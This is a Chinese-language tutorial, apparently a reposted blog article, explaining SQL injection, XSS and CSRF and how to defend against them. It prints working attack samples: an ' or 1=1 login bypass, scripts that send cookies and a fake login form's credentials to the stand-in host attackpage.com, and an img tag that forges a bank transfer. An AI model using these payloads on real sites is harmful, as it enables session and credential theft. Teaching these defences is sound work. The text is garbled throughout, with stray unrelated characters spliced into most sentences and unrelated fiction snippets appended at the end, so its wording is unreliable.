Web攻防之XSS,CSRF,SQL注入

對(duì)Web服務(wù)器的攻擊也可以說(shuō)是形形色色械媒、種類繁多目锭,常見的有掛馬评汰、SQL注入、緩沖區(qū)溢出痢虹、嗅探被去、利用IIS等針對(duì)Webserver漏洞進(jìn)行攻擊。本文結(jié)合WEB TOP10漏洞中常見的SQL注入奖唯,跨站腳本攻擊(XSS)惨缆,跨站請(qǐng)求偽造(CSRF)攻擊的產(chǎn)生原理,介紹相應(yīng)的防范方法臭埋。
https://www.cnblogs.com/CIreland/p/6745294.html
1踪央、SQL注入

    所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁(yè)面請(qǐng)求的查詢字符串瓢阴,欺騙服務(wù)器執(zhí)行惡意的SQL命令畅蹂。攻擊者通過在應(yīng)用程序預(yù)先定義好的SQL語(yǔ)句結(jié)尾加上額外的SQL語(yǔ)句元素,欺騙數(shù)據(jù)庫(kù)服務(wù)器執(zhí)行非授權(quán)的查詢,篡改命令荣恐。

    它能夠輕易的繞過防火墻直接訪問數(shù)據(jù)庫(kù)液斜,甚至能夠獲得數(shù)據(jù)庫(kù)所在的服務(wù)器的系統(tǒng)權(quán)限。在Web應(yīng)用漏洞中叠穆,SQLInjection 漏洞的風(fēng)險(xiǎn)要高過其他所有的漏洞少漆。

攻擊原理
  假設(shè)的登錄查詢
  SELECT* FROM users WHERE login = 'victor' AND password = '123
  Sever端代碼
  Stringsql = "SELECT * FROM users WHERE login = '" + formusr + "' ANDpassword = '" + formpwd + "'";
  輸入字符
  formusr= ' or 1=1
  formpwd= anything
  實(shí)際的查詢代碼
  SELECT* FROM users WHERE username = ' ' or 1=1 AND password = 'anything'

發(fā)現(xiàn)注入點(diǎn)簡(jiǎn)單辦法

   1.尋找?guī)в胁樵冏址膗rl的網(wǎng)頁(yè)(例如,查詢那些在URL里帶有"id=" 的URL)硼被。

2.向這個(gè)網(wǎng)站發(fā)送一個(gè)請(qǐng)求示损,改變其中的id=語(yǔ)句,帶一個(gè)額外的單引號(hào)(例如:id=123’)嚷硫。
  3.查看返回的內(nèi)容检访,在其中查找“sql”,“statement”等關(guān)鍵字(這也說(shuō)明返回了具體的錯(cuò)誤信息仔掸,這本身就很糟糕)脆贵。

4.錯(cuò)誤消息是否表示發(fā)送到SQL服務(wù)器的參數(shù)沒有被正確編碼果如此,那么表示可對(duì)該網(wǎng)站進(jìn)行SQL注入攻擊起暮。

如何防范****SQL****注入攻擊
  一個(gè)常見的錯(cuò)誤是卖氨,假如你使用了存儲(chǔ)過程或ORM,你就完全不受SQL注入攻擊之害了负懦。這是不正確的筒捺,你還是需要確定在給存儲(chǔ)過程傳遞數(shù)據(jù)時(shí)你很謹(jǐn)慎,或在用ORM來(lái)定制一個(gè)查詢時(shí)纸厉,你的做法是安全的焙矛。
  參數(shù)化查詢已被視為最有效的可防御SQL注入攻擊的防御方式。目前主流的ORM 框架都內(nèi)置支持并且推薦使用這種方式進(jìn)行持久層封裝残腌。
  所謂的參數(shù)化查詢(ParameterizedQuery 或 Parameterized Statement)是指在設(shè)計(jì)與數(shù)據(jù)庫(kù)鏈接并訪問數(shù)據(jù)時(shí),在需要填入數(shù)值或數(shù)據(jù)的地方,使用參數(shù)(Parameter) 來(lái)給值抛猫。
例:
  SELECT* FROM myTable WHERE myID = @myID
  INSERTINTO myTable (c1, c2, c3, c4) VALUES (@c1, @c2, @c3, @c4)或者INSERT INTO myTable (c1, c2, c3, c4)VALUES(?,?,?,?)
  通過(?)指定占位符蟆盹,當(dāng)然在添加參數(shù)的時(shí)候,必須按照(c1, c2, c3,c4)的順序來(lái)添加闺金,否則會(huì)出錯(cuò)逾滥。

2.跨站腳本攻擊(XSS)

XSS全稱(Cross Site Scripting) 跨站腳本攻擊,是Web程序中最常見的漏洞败匹。指攻擊者在網(wǎng)頁(yè)中嵌入客戶端腳本(例如JavaScript), 當(dāng)用戶瀏覽此網(wǎng)頁(yè)時(shí)寨昙,腳本就會(huì)在用戶的瀏覽器上執(zhí)行,從而達(dá)到攻擊者的目的. 比如獲取用戶的Cookie掀亩,導(dǎo)航到惡意網(wǎng)站,攜帶木馬等舔哪。

  攻擊原理
  假如頁(yè)面有如下一個(gè)輸入框
  <inputtype="text" name="record" value="沙發(fā)">
  【沙發(fā)】是來(lái)自用戶的輸入,如果用戶輸入的是"onfocus="alert(document.cookie)
  那么就會(huì)變成
  <inputtype="text" name="address1" value=""onfocus="alert(document.cookie)">
  事件被觸發(fā)的時(shí)候嵌入的JavaScript代碼將會(huì)被執(zhí)行
  攻擊的威力槽棍,取決于用戶輸入了什么樣的腳本捉蚤。
XSS****分類
1.****反射型****XSS
  反射型XSS,又稱非持久型XSS炼七。之所以稱為反射型XSS缆巧,則是因?yàn)檫@種攻擊方式的注入代碼是從目標(biāo)服務(wù)器通過錯(cuò)誤信息、搜索結(jié)果等等方式“反射”回來(lái)的豌拙。而稱為非持久型XSS陕悬,則是因?yàn)檫@種攻擊方式具有一次性。攻擊者通過電子郵件等方式將包含注入腳本的惡意鏈接發(fā)送給受害者按傅,當(dāng)受害者點(diǎn)擊該鏈接時(shí)捉超,注入腳本被傳輸?shù)侥繕?biāo)服務(wù)器上,然后服務(wù)器將注入腳本“反射”到受害者的瀏覽器上逞敷,從而在該瀏覽器上執(zhí)行了這段腳本狂秦。
比如攻擊者將如下鏈接發(fā)送給受害者:
http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>

當(dāng)受害者點(diǎn)擊這個(gè)鏈接的時(shí)候,注入的腳本被當(dāng)作搜索的關(guān)鍵詞發(fā)送到目標(biāo)服務(wù)器的search.asp頁(yè)面中推捐,則在搜索結(jié)果的返回頁(yè)面中裂问,這段腳本將被當(dāng)作搜索的關(guān)鍵詞而嵌入。這樣牛柒,當(dāng)用戶得到搜索結(jié)果頁(yè)面后堪簿,這段腳本也得到了執(zhí)行。這就是反射型XSS攻擊的原理皮壁,可以看到椭更,攻擊者巧妙地通過反射型XSS的攻擊方式,達(dá)到了在受害者的瀏覽器上執(zhí)行腳本的目的蛾魄。由于代碼注入的是一個(gè)動(dòng)態(tài)產(chǎn)生的頁(yè)面而不是永久的頁(yè)面虑瀑,因此這種攻擊方式只在點(diǎn)擊鏈接的時(shí)候才產(chǎn)生作用湿滓,這也是它被稱為非持久型XSS的原因
2.****存儲(chǔ)型****XSS
  存儲(chǔ)型XSS,又稱持久型XSS舌狗,他和反射型XSS最大的不同就是叽奥,攻擊腳本將被永久地存放在目標(biāo)服務(wù)器的數(shù)據(jù)庫(kù)和文件中。這種攻擊多見于論壇痛侍,攻擊者在發(fā)帖的過程中朝氓,將惡意腳本連同正常信息一起注入到帖子的內(nèi)容之中。隨著帖子被論壇服務(wù)器存儲(chǔ)下來(lái)主届,惡意腳本也永久地被存放在論壇服務(wù)器的后端存儲(chǔ)器中赵哲。當(dāng)其它用戶瀏覽這個(gè)被注入了惡意腳本的帖子的時(shí)候,惡意腳本則會(huì)在他們的瀏覽器中得到執(zhí)行君丁,從而受到了攻擊枫夺。
Xss****危害
1.****盜取****cookie
  通過XSS攻擊,由于注入代碼是在受害者的瀏覽器上執(zhí)行谈截,因此能夠很方便地竊取到受害者的Cookie信息筷屡。比如,我們只要注入類似如下的代碼:
  <script>location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)</script>
  當(dāng)受害者的瀏覽器執(zhí)行這段腳本的時(shí)候簸喂,就會(huì)自動(dòng)訪問攻擊者建立的網(wǎng)站www.attackpage.com毙死,打開其中的recourd.asp,將受害者瀏覽器的Cookie信息給記錄下來(lái)喻鳄。這樣扼倘,攻擊者就得到了用戶的Cookie信息。
  得到受害者的Cookie信息后除呵,攻擊者可以很方便地冒充受害者再菊,從而擁有其在目標(biāo)服務(wù)器上的所有權(quán)限,相當(dāng)于受害者的身份認(rèn)證被竊取了颜曾。
2.****釣魚攻擊
  所謂釣魚攻擊就是構(gòu)建一個(gè)釣魚頁(yè)面纠拔,誘騙受害者在其中輸入一些敏感信息,然后將其發(fā)送給攻擊者泛豪。利用XSS的注入腳本稠诲,我們也可以很方便地注入釣魚頁(yè)面的代碼,從而引導(dǎo)釣魚攻擊诡曙。比如下面這樣一段代碼:
  <script>
  functionhack(){
    location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value+ "password=" + document.forms[0].pass.value);
  }
  </script>
  <form>
  
<H3>此功能需要登錄:</H3>
  

請(qǐng)輸入用戶名:

  <inputtype=”text”id=”user”name=”user”>
  
請(qǐng)輸入密碼:

  <inputtype=”password”name =“pass”>
  
<inputtype=”submit”name=”login”value=”登錄”onclick=”hack()”>
  </form>
  注入上面的代碼后臀叙,則會(huì)在原來(lái)的頁(yè)面上,插入一段表單价卤,要求用戶輸入自己的用戶名和密碼劝萤,而當(dāng)用戶點(diǎn)擊“登錄”按鈕后,則會(huì)執(zhí)行hack()函數(shù)慎璧,將用戶的輸入發(fā)送到攻擊者指定的網(wǎng)站上去床嫌。這樣跨释,攻擊者就成功竊取了該用   戶的賬號(hào)信息。和一般的釣魚攻擊不同厌处,XSS引導(dǎo)的釣魚攻擊由于是對(duì)用戶信任的網(wǎng)站頁(yè)面進(jìn)行修改的煤傍。

3. CSRF攻擊

比如我們注入如下的HTML代碼:
  <imgsrc = “http://www.bank.com/transfer.do?toAct=123456&money=10000>
假如上面的代碼中所訪問的是某個(gè)銀行網(wǎng)站的轉(zhuǎn)賬服務(wù),則當(dāng)受害者的瀏覽器運(yùn)行這段腳本時(shí)嘱蛋,就會(huì)向攻擊者指定的賬戶(示例的123456)執(zhí)行轉(zhuǎn)賬操作。由于這個(gè)轉(zhuǎn)賬請(qǐng)求是在受害者的瀏覽器中運(yùn)行的五续,因此瀏覽器也會(huì)自動(dòng)將受害者的Cookie信息一并發(fā)送洒敏。這樣,發(fā)送的請(qǐng)求就好像是受害者自己發(fā)送的一樣疙驾,銀行網(wǎng)站也將認(rèn)可這個(gè)請(qǐng)求的合法性凶伙,攻擊者也就達(dá)到了偽造請(qǐng)求的目的。

4.傳播惡意軟件

    除了直接注入惡意腳本以外它碎,通過XSS攻擊函荣,攻擊者也可以很方便地在腳本中引入一些惡意軟件,比如病毒扳肛、木馬傻挂、蠕蟲等等。例如挖息,攻擊者可以在某個(gè)自己建立的頁(yè)面上放置一些惡意軟件金拒,然后用XSS注入的方式,插入一段引用該頁(yè)面的腳本套腹。這樣當(dāng)受害者的瀏覽器執(zhí)行這段腳本的時(shí)候绪抛,就會(huì)自動(dòng)訪問放置了惡意軟件的頁(yè)面,從而受到這些惡意軟件的感染电禀。

XSS****的預(yù)防
1.****輸入過濾

    對(duì)用戶的所有輸入數(shù)據(jù)進(jìn)行檢測(cè)幢码,比如過濾其中的“<”、“>”尖飞、“/”等可能導(dǎo)致腳本注入的特殊字符症副,或者過濾“script”、“javascript”等腳本關(guān)鍵字葫松,或者對(duì)輸入數(shù)據(jù)的長(zhǎng)度進(jìn)行限制等等瓦糕。同時(shí),我們也要考慮用戶可能繞開ASCII碼腋么,使用十六進(jìn)制編碼來(lái)輸入腳本咕娄。因此,對(duì)用戶輸入的十六進(jìn)制編碼珊擂,我們也要進(jìn)行相應(yīng)的過濾圣勒。只要能夠嚴(yán)格檢測(cè)每一處交互點(diǎn)费变,保證對(duì)所有用戶可能的輸入都進(jìn)行檢測(cè)和XSS過濾,就能夠有效地阻止XSS攻擊圣贸。

2.****輸出編碼

    通過前面對(duì)XSS攻擊的分析挚歧,我們可以看到,之所以會(huì)產(chǎn)生XSS攻擊吁峻,就是因?yàn)閃eb應(yīng)用程序?qū)⒂脩舻妮斎胫苯忧度氲侥硞€(gè)頁(yè)面當(dāng)中滑负,作為該頁(yè)面的HTML代碼的一部分。因此用含,當(dāng)Web應(yīng)用程序?qū)⒂脩舻妮斎霐?shù)據(jù)輸出到目標(biāo)頁(yè)面中時(shí)矮慕,只要用HtmlEncoder等工具先對(duì)這些數(shù)據(jù)進(jìn)行編碼,然后再輸出到目標(biāo)頁(yè)面中啄骇。這樣痴鳄,如果用戶輸入一些HTML的腳本,也會(huì)被當(dāng)成普通的文字缸夹,而不會(huì)成為目標(biāo)頁(yè)面HTML代碼的一部分得到執(zhí)行痪寻。

3. Cookie****防盜

    利用XSS攻擊,攻擊者可以很方便地竊取到合法用戶的Cookie信息虽惭。因此橡类,對(duì)于Cookie,我們可以采取以下的措施趟妥。首先猫态,我們要盡可能地避免在Cookie中泄露隱私,如用戶名披摄、密碼等亲雪;其次,我們可以將Cookie信息利用MD5等Hash算法進(jìn)行多次散列后存放疚膊;再次义辕,為了防止重放攻擊,我們也可以將Cookie和IP進(jìn)行綁定寓盗,這樣也可以阻止攻擊者冒充正常用戶的身份灌砖。

    作為一名普通的網(wǎng)絡(luò)用戶,在XSS攻擊的預(yù)防上我們可以采取以下措施傀蚌。首先基显,我們不要輕易相信電子郵件或者網(wǎng)頁(yè)中的不明鏈接,這些鏈接很有可能引導(dǎo)反射型XSS攻擊或者使我們?cè)L問到一些不安全的網(wǎng)頁(yè)善炫。其次撩幽,我們?cè)诓槐匾臅r(shí)候可以禁用腳本功能,這樣XSS注入的腳本就無(wú)法得到運(yùn)行。

3.CSRF 攻擊

    CSRF(Cross-site request forgery)窜醉,中文名稱:跨站請(qǐng)求偽造宪萄,也被稱為:one clickattack/session riding,縮寫為:CSRF/XSRF榨惰。

    你這可以這么理解CSRF攻擊:攻擊者盜用了你的身份拜英,以你的名義發(fā)送惡意請(qǐng)求。CSRF能夠做的事情包括:以你名義發(fā)送郵件琅催,發(fā)消息居凶,盜取你的賬號(hào),甚至于購(gòu)買商品藤抡,虛擬貨幣轉(zhuǎn)賬......造成的問題包括:個(gè)人隱私泄露以及財(cái)產(chǎn)安全排监。

CSRF****漏洞現(xiàn)狀

    CSRF這種攻擊方式在2000年已經(jīng)被國(guó)外的安全人員提出,但在國(guó)內(nèi)杰捂,直到06年才開始被關(guān)注,08年棋蚌,國(guó)內(nèi)外的多個(gè)大型社區(qū)和交互網(wǎng)站分別爆出CSRF漏洞嫁佳,如:NYTimes.com(紐約時(shí)報(bào))、Metafilter(一個(gè)大型BLOG網(wǎng)站)谷暮,YouTube和百度HI......而現(xiàn)在蒿往,互聯(lián)網(wǎng)上的許多站點(diǎn)仍對(duì)此毫無(wú)防備,以至于安全業(yè)界稱CSRF為“沉睡的巨人”湿弦。

  原理
  網(wǎng)站A:為惡意網(wǎng)站瓤漏。
  網(wǎng)站B:用戶已登錄的網(wǎng)站。
  當(dāng)用戶訪問A站時(shí)颊埃,A站私自訪問B站的操作鏈接蔬充,模擬用戶操作。
  假設(shè)B站有一個(gè)刪除評(píng)論的鏈接:http://b.com/comment/?type=delete&id=81723
  A站直接訪問該鏈接班利,就能刪除用戶在B站的評(píng)論饥漫。
CSRF****防御技巧
1.****驗(yàn)證碼

    幾乎所有人都知道驗(yàn)證碼,但驗(yàn)證碼不單單用來(lái)防止注冊(cè)機(jī)的暴力破解罗标,還可以有效防止CSRF的攻擊庸队。驗(yàn)證碼算是對(duì)抗CSRF攻擊最簡(jiǎn)潔有效的方法。但使用驗(yàn)證碼的問題在于闯割,不可能在用戶的所有操作上都需要輸入驗(yàn)證碼.只有一些關(guān)鍵的操作彻消,才能要求輸入驗(yàn)證碼。不過隨著HTML5的發(fā)展宙拉。利用canvas標(biāo)簽宾尚,前端也能識(shí)別驗(yàn)證碼的字符,讓CSRF生效鼓黔。

2.Token

    CSRF能攻擊成功央勒,根本原因是:操作所帶的參數(shù)均被攻擊者猜測(cè)到不见。既然知道根本原因,我們就對(duì)癥下藥崔步,利用Token稳吮。當(dāng)向服務(wù)器傳參數(shù)時(shí),帶上Token井濒。這個(gè)Token是一個(gè)隨機(jī)值灶似,并且由服務(wù)器和用戶同時(shí)持有。當(dāng)用戶提交表單時(shí)帶上Token值瑞你,服務(wù)器就能驗(yàn)證表單和session中的Token是否一致酪惭。
    token生成示例代碼如下:

privatestatic SecureRandom secureRandom=null;
publicstatic String createToken() {
if(secureRandom==null){
String entoropy="LogonSessionEntoropy" + System.currentTimeMillis();
try {
secureRandom = SecureRandom.getInstance("SHA1PRNG");
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
secureRandom.setSeed(entoropy.getBytes());
}
byte bytes[]=new byte[16];
secureRandom.nextBytes(bytes);
byte[] base64Bytes = Base64.encode(bytes);
return new String(base64Bytes);
}

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市者甲,隨后出現(xiàn)的幾起案子春感,更是在濱河造成了極大的恐慌,老刑警劉巖虏缸,帶你破解...
    沈念sama閱讀 222,865評(píng)論 6 518
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件鲫懒,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡刽辙,警方通過查閱死者的電腦和手機(jī)窥岩,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,296評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)宰缤,“玉大人颂翼,你說(shuō)我怎么就攤上這事】穑” “怎么了朦乏?”我有些...
    開封第一講書人閱讀 169,631評(píng)論 0 364
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)氧骤。 經(jīng)常有香客問我集歇,道長(zhǎng),這世上最難降的妖魔是什么语淘? 我笑而不...
    開封第一講書人閱讀 60,199評(píng)論 1 300
  • 正文 為了忘掉前任诲宇,我火速辦了婚禮,結(jié)果婚禮上惶翻,老公的妹妹穿的比我還像新娘姑蓝。我一直安慰自己,他們只是感情好吕粗,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,196評(píng)論 6 398
  • 文/花漫 我一把揭開白布纺荧。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪宙暇。 梳的紋絲不亂的頭發(fā)上输枯,一...
    開封第一講書人閱讀 52,793評(píng)論 1 314
  • 那天,我揣著相機(jī)與錄音占贫,去河邊找鬼桃熄。 笑死,一個(gè)胖子當(dāng)著我的面吹牛型奥,可吹牛的內(nèi)容都是我干的瞳收。 我是一名探鬼主播,決...
    沈念sama閱讀 41,221評(píng)論 3 423
  • 文/蒼蘭香墨 我猛地睜開眼厢汹,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼螟深!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起烫葬,我...
    開封第一講書人閱讀 40,174評(píng)論 0 277
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤界弧,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后搭综,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體夹纫,經(jīng)...
    沈念sama閱讀 46,699評(píng)論 1 320
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,770評(píng)論 3 343
  • 正文 我和宋清朗相戀三年设凹,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片茅姜。...
    茶點(diǎn)故事閱讀 40,918評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡闪朱,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出钻洒,到底是詐尸還是另有隱情奋姿,我是刑警寧澤,帶...
    沈念sama閱讀 36,573評(píng)論 5 351
  • 正文 年R本政府宣布素标,位于F島的核電站称诗,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏头遭。R本人自食惡果不足惜寓免,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,255評(píng)論 3 336
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望计维。 院中可真熱鬧袜香,春花似錦、人聲如沸鲫惶。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,749評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至欢策,卻和暖如春吆寨,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背踩寇。 一陣腳步聲響...
    開封第一講書人閱讀 33,862評(píng)論 1 274
  • 我被黑心中介騙來(lái)泰國(guó)打工啄清, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人姑荷。 一個(gè)月前我還...
    沈念sama閱讀 49,364評(píng)論 3 379
  • 正文 我出身青樓盒延,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親鼠冕。 傳聞我的和親對(duì)象是個(gè)殘疾皇子添寺,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,926評(píng)論 2 361

推薦閱讀更多精彩內(nèi)容